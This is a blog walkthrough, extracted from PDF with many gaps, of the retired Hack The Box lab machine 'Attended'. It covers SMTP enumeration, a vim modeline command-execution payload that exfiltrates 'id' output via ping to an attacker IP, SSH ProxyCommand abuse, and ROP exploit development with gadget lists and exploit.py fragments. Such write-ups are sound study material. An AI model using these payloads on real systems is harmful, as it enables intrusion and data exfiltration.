Attended
Attended
bernie lim
                                       hacksome | my security journey
    
Home
                                                                                                
                                                                                                top
1 of 30                                                                                      27/04/2021, 09:33
Attended: Hack The Box Walkthrough                    http://localhost:4000/attended-htb-walkthrough/
          On this post
             Background
Information Gathering
Foothold
ProxyCommand in SSH
Privilege Escalation
AuthorizedKeysCommand
Decoded bu�er
Exploit development
Controlling rax
2 of 30                                                                            27/04/2021, 09:33
Attended: Hack The Box Walkthrough                        http://localhost:4000/attended-htb-walkthrough/
          Background
          Attended is a retired vulnerable VM from Hack The Box.
          Information Gathering
          Let’s start with a masscan probe to establish the open ports in the host.
          Hmm, port 25/tcp eh? Let’s do one better with nmap scanning the
          discovered ports to establish their services.
3 of 30                                                                                27/04/2021, 09:33
Attended: Hack The Box Walkthrough                    http://localhost:4000/attended-htb-walkthrough/
          Looks like smtp is in service but nmap scripts didn’t produce anything useful
          other than a username (guly) and a domain (attended.htb). I’d better put
          attended.htb into /etc/hosts.
          Using standard SMTP commands MAIL FROM and RCPT TO, I was able to at
          least verify the existence of guly@attended.htb.
4 of 30                                                                            27/04/2021, 09:33
Attended: Hack The Box Walkthrough                    http://localhost:4000/attended-htb-walkthrough/
Next, we can send the email with swaks, a.k.a Swiss Army Knife SMTP.
          I wonder what’s the issue with freshness that guly is talking about. It
                                                                                      
                                                                                      top
          seems any email from freshness will take priority.
5 of 30                                                                            27/04/2021, 09:33
Attended: Hack The Box Walkthrough                  http://localhost:4000/attended-htb-walkthrough/
                                                                                    
                                                                                    top
6 of 30                                                                          27/04/2021, 09:33
Attended: Hack The Box Walkthrough                 http://localhost:4000/attended-htb-walkthrough/
          Hmm, “open your attachment with vim” eh? Exploiting vim for remote code
          execution?
7 of 30                                                                         27/04/2021, 09:33
Attended: Hack The Box Walkthrough                    http://localhost:4000/attended-htb-walkthrough/
          This exploit looks simple enough. Let’s give it a shot. To create a responsive
          payload and without knowing the environment, we need something to tell
          us that a command was successfully executed.
test.txt
          Bingo!                                                                      
                                                                                      top
8 of 30                                                                            27/04/2021, 09:33
Attended: Hack The Box Walkthrough                     http://localhost:4000/attended-htb-walkthrough/
          Armed with this insight, I wrote the following script to reconstruct the data
          exfiltrated in an ICMP echo request packet.
read.sh
#!/bin/bash
FILE=$1
            tshark -r $FILE \
                     -T fields \
                     -e data 2>/dev/null \
            | grep -Eo '.{4}$' \
            | tr -d '\n' \
            | xxd -p -r
:!`id | xxd -p -c2 | xargs -n1 -I'{}' ping -c1 -p'{}' 10.10.14.53` ||" vi:fen:f
          Prior to that, I’ve established that essential commands such as xxd and
          xargs, required for this exfiltration to work are present in the machine.
          Some of enumeration examples are shown here.
id
pwd
          ls -laR /home
                                                                                       
                                                                                       top
9 of 30                                                                             27/04/2021, 09:33
Attended: Hack The Box Walkthrough                         http://localhost:4000/attended-htb-walkthrough/
           Foothold
           The important clue to gaining a foothold lies in a Vim swap file at
           /home/guly/tmp/.config.swp.
10 of 30                                                                                27/04/2021, 09:33
Attended: Hack The Box Walkthrough                      http://localhost:4000/attended-htb-walkthrough/
           there’s a cron job from freshness looking out for this /home/shared
           /config to test it out with SSH, likely to be ssh -F /home/shared
           /config.
           I’ve verified that guly has write access to /home/shared/config with the
           following payload.
test.txt
ProxyCommand in SSH
           Now that I know freshness will SSH test /home/shared/config, and guly
           has write access to it, I could leverage on ProxyCommand from
           ssh_config(5) to do something nefarious with it.
freshness.txt
:!echo -en 'Host *\n User freshness\n ControlMaster auto\n ControlPath /tmp/
                                                                                        
                                                                                        top
11 of 30                                                                             27/04/2021, 09:33
Attended: Hack The Box Walkthrough                    http://localhost:4000/attended-htb-walkthrough/
Awesome!
           Privilege Escalation
           During enumeration of freshness’ account, I notice the presence of the
           authkeys directory in freshness’ home directory.
           Hold up. There’s another machine??!! Which means I’ve been living in thetop
                                                                                      
12 of 30                                                                           27/04/2021, 09:33
Attended: Hack The Box Walkthrough                    http://localhost:4000/attended-htb-walkthrough/
So attendedgw is at 192.168.23.1.
scan.sh
#!/bin/bash
             HOST=192.168.23.1
             PROXY=socks://127.0.0.1:9999
                                                                                      
                                                                                      top
13 of 30                                                                           27/04/2021, 09:33
Attended: Hack The Box Walkthrough                     http://localhost:4000/attended-htb-walkthrough/
AuthorizedKeysCommand
We can tell that authkeys takes in four arguments from the get-go:
           To find out the actual arguments that are passed to authkeys during an
           actual SSH session, I added a fake authkeys (that echo all its arguments to
           stdout and tee it o� to a log). I also added AuthorizedKeysCommand and
                                                                                       
                                                                                       top
           AuthorizedKeysCommandUser to a OpenSSH server in an OpenBSD
14 of 30                                                                            27/04/2021, 09:33
Attended: Hack The Box Walkthrough                      http://localhost:4000/attended-htb-walkthrough/
authkeys
#!/bin/sh
On the other hand, I generated a pair of SSH keys with ssh-keygen like so.
             ssh-keygen -f guly
             Generating public/private rsa key pair.
             Enter passphrase (empty for no passphrase):
             Enter same passphrase again:
             Your identification has been saved in guly
             Your public key has been saved in guly.pub
             The key fingerprint is:
             SHA256:G7rEqAxvV5etCzzbG5bJ5Umq85GZJZQJ6vI9Vl1/TbY root@kali
             The key's randomart image is:
             +---[RSA 3072]----+
             |          .               |
             |         . . o            |
             |      .       +     .    o|
             |     .     . . . . oo|
             |    . .       So=       .Eo|
             |     o =.+o/..          . |
             |.     o.@.&.o             |
             | +...o.X.o                |
             | .+.      +o=o            |
             +----[SHA256]-----+
           I then proceeded to delete the private key and attempted a SSH session like
           so, with only the public key submitted as proof of identity.
           Where 1.2.3.4 is the OpenSSH server. This is what was echo‘d to the log.
                                                                                top
                                                                                        
15 of 30                                                                             27/04/2021, 09:33
Attended: Hack The Box Walkthrough                      http://localhost:4000/attended-htb-walkthrough/
           You can clearly see what are the four corresponding arguments from the
           previous section. Now that we know what are the arguments, let’s discuss
           what authkeys actually does with them.
           It first checks for the number of argments. If it’s not five (path to the
           executable and the four arguments), it prints “Too bad, Wrong number of
           arguments!” to stdout and exit with a status of 0.
                                                                                        
                                                                                        top
16 of 30                                                                             27/04/2021, 09:33
Attended: Hack The Box Walkthrough                      http://localhost:4000/attended-htb-walkthrough/
           Knowing that a stack space of 0x300 (768) bytes was set aside to hold the
           base64-decoded data, I generated a cyclic pattern of 800 bytes for the
           purpose of determining the o�set to the return address. Take note that we
           need to base64-encode the pattern before we pass it as the last argument.
           Time for the litmus test to see if the o�set is correct with the following
           payload.
                                                                                        
                                                                                        top
17 of 30                                                                             27/04/2021, 09:33
Attended: Hack The Box Walkthrough                    http://localhost:4000/attended-htb-walkthrough/
Bombs away…
           Sweet. Looks like the o�set is correct. Take note the address 0x40036b is
           important. We’ll need to break here very often during exploit development
           later.
Decoded bu�er
           The decoded public key blob is at 0x6010c0 in the data segment. Suppose I
           send in the base64-encoded portion of the public key I generated above.
           This is what it looks like in gdb.
           Contrast this with a manual base64 decoding of the public key blob.
                                                                                      
                                                                                      top
18 of 30                                                                           27/04/2021, 09:33
Attended: Hack The Box Walkthrough                      http://localhost:4000/attended-htb-walkthrough/
           The structure of the public key blob is pretty simple, and is described in two
           di�erent RFCs. RFC 4253 (“SSH Transport Layer Protocol”) states in
           section 6.6 that
                         string      "ssh-rsa"
                         mpint       e
                         mpint       n
           while the definition of the types string and mpint can be found in RFC
           4251 (“SSH Protocol Architecture”), section 5
string
mpint
19 of 30                                                                             27/04/2021, 09:33
Attended: Hack The Box Walkthrough                      http://localhost:4000/attended-htb-walkthrough/
exploit.py
             e = 65537L
             n = int(binascii.hexlify(payload), 16)
os.write(1, key.exportKey(format="OpenSSH"))
Exploit development
20 of 30                                                                             27/04/2021, 09:33
Attended: Hack The Box Walkthrough                  http://localhost:4000/attended-htb-walkthrough/
           Gadgets
           =======
           0x000000000040037d: adc byte ptr [rdx], al; mov ebx, 0xf02d0ff3; ret;
           0x000000000040036f: adc cl, 0xe8; ret;
           0x00000000004003c1: add al, ch; or byte ptr [rax], al; add byte ptr [rax], al;
           0x000000000040037e: add bh, byte ptr [rbx - 0xfd2f00d]; ret;
           0x0000000000400360: add byte ptr [rax + 0x31], cl; ror byte ptr [rax + 0x31], 0
           0x00000000004003c6: add byte ptr [rax + 1], bh; xor rdi, rdi; syscall;
           0x00000000004003c6: add byte ptr [rax + 1], bh; xor rdi, rdi; syscall; ret;
           0x00000000004003c4: add byte ptr [rax], al; add byte ptr [rax + 1], bh; xor rdi
           0x00000000004003c4: add byte ptr [rax], al; add byte ptr [rax + 1], bh; xor rdi
           0x00000000004003c0: add byte ptr [rax], al; call 0x3cf; mov eax, 1; xor rdi, rd
           0x00000000004003c5: add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall;
           0x00000000004003c5: add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall;
           0x000000000040035f: add byte ptr [rax], al; xor rax, rax; xor rsi, rsi; mov rdi
           0x00000000004003ca: add byte ptr [rax], al; xor rdi, rdi; syscall;
           0x00000000004003ca: add byte ptr [rax], al; xor rdi, rdi; syscall; ret;
           0x00000000004003c8: add dword ptr [rax], eax; add byte ptr [rax], al; xor rdi,
           0x00000000004003c8: add dword ptr [rax], eax; add byte ptr [rax], al; xor rdi,
           0x000000000040035e: add eax, dword ptr [rax]; add byte ptr [rax + 0x31], cl; ro
           0x00000000004003c2: call 0x3cf; mov eax, 1; xor rdi, rdi; syscall;
           0x00000000004003c2: call 0x3cf; mov eax, 1; xor rdi, rdi; syscall; ret;
           0x0000000000400381: cvtps2pi mm6, xmm0; ret;
           0x0000000000400380: cvtss2si esi, xmm0; ret;
           0x0000000000400399: dec dword ptr [rax + 0x31]; leave; ret;
           0x0000000000400377: fcomp st(0), st(0); ret;
           0x0000000000400394: mov eax, 0xffffffff; xor rcx, rcx; ret;
           0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall;
           0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall; ret;
           0x000000000040037f: mov ebx, 0xf02d0ff3; ret;
           0x000000000040037a: mov ecx, 0x2100ff3; mov ebx, 0xf02d0ff3; ret;
           0x0000000000400368: mov edi, esi; pop rdx; ret;
           0x0000000000400393: mov rax, -1; xor rcx, rcx; ret;                      
                                                                                    top
21 of 30                                                                         27/04/2021, 09:33
Attended: Hack The Box Walkthrough                    http://localhost:4000/attended-htb-walkthrough/
58 gadgets found
           Well, syscall is available but only one pop gadget in pop rdx; ret;. To
           craft a meaningful exploit, we need a way to control the contents of the rax
           (syscall number), rdi (first argument), rsi (second argument), and rdx
           (third argument). The idea here is to make use of the gadgets to chain
           together an exploit to execve(2) /bin/sh -c in order to achieve remote
           command execution. In short, we need to control four registers: rax, rdi,
           rsi, and rdx.
                                                                                      
                                                                                      top
22 of 30                                                                           27/04/2021, 09:33
Attended: Hack The Box Walkthrough                    http://localhost:4000/attended-htb-walkthrough/
Controlling rax
seq.py
seq = {}
             for n in range(16):
                 combo = list(product('sn', repeat=n)) # up to 15 should be enough
                 for this in combo:
                      eax = 0xff
                      for op in this:
                          if op == 's':
                               eax = eax >> 1
                          elif op == 'n':
                               eax = ~eax & 0xff
                      if eax not in seq.keys():
                          seq[eax] = this
                      else:
                                                                                      
                                                                                      top
23 of 30                                                                           27/04/2021, 09:33
Attended: Hack The Box Walkthrough                      http://localhost:4000/attended-htb-walkthrough/
arg = int(sys.argv[1])
           Notice that I’m assuming eax starts o� with 0xff. How can we get 0xff
           from 0xffffffff? Well, by “shifting right by 1-bit” twenty-four times         .
           Let’s verify this in gdb to make sure we start on the right foot.
           Time to verify the rest of the sequence. Note that we can combine a series
           of “shift right by 1-bit” (s) operations in gdb. For example, ['s', 's',
           's'] in gdb is x >> 3.
           But before we look into how we can combine the gadgets, we need to look
           at where to store our strings. Suppose I use the skeleton exploit code to    
                                                                                        top
24 of 30                                                                             27/04/2021, 09:33
Attended: Hack The Box Walkthrough                    http://localhost:4000/attended-htb-walkthrough/
           You can see from above the payload starts at 0x6010d6. Now, let’s switch
           to a DWORD view starting at 0x6010d6.
           I’ll need the first two 8-byte space to store the address to path and argv
           respectively.
           The rest of the space can be used to build argv for storing /bin/sh, -c and
           the command we want to execute. It’s clear that the address of argv is at
           0x6010e6.
           Let’s say the address to path or in our case /bin/sh is 0x601106, we want
           0x601106 to be in rdi. Judging from the gadgets above, we need xmm0 to
           contain the IEEE-754 floating-point value of 0x601106 before it gets
           converted to an integer in esi and moved to rdi eventually. Register rdx
                                                                                  top
                                                                                      
25 of 30                                                                           27/04/2021, 09:33
Attended: Hack The Box Walkthrough                     http://localhost:4000/attended-htb-walkthrough/
exploit.py
# ROP gadgets
             # 0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
             rdx_to_xmm0 = 0x40037c
26 of 30                                                                            27/04/2021, 09:33
Attended: Hack The Box Walkthrough                  http://localhost:4000/attended-htb-walkthrough/
           # 0x00000000004003cf: syscall;
           syscall = 0x4003cf
# ROP chain
27 of 30                                                                         27/04/2021, 09:33
Attended: Hack The Box Walkthrough                  http://localhost:4000/attended-htb-walkthrough/
argv.append(loc)
           # pop 0 to rdx
           payload += struct.pack('<Q', pop_rdx)
           payload += struct.pack('<Q', 0x0)                                        
                                                                                    top
28 of 30                                                                         27/04/2021, 09:33
Attended: Hack The Box Walkthrough                     http://localhost:4000/attended-htb-walkthrough/
             # syscall
             payload += struct.pack('<Q', syscall)
             # go nicely go
             payload += struct.pack('<Q', exit)
             e = 65537L
             n = int(binascii.hexlify(payload), 16)
os.write(1, key.exportKey(format="OpenSSH"))
Bombs away
           And profit!
                                                                                       
                                                                                       top
29 of 30                                                                            27/04/2021, 09:33
Attended: Hack The Box Walkthrough                         http://localhost:4000/attended-htb-walkthrough/
    
            Previous                                                                 Next 
           Time: Hack The Box Walkthrough                  APT: Hack The Box Walkthrough
                                                                                           
                                                                                           top
30 of 30 27/04/2021, 09:33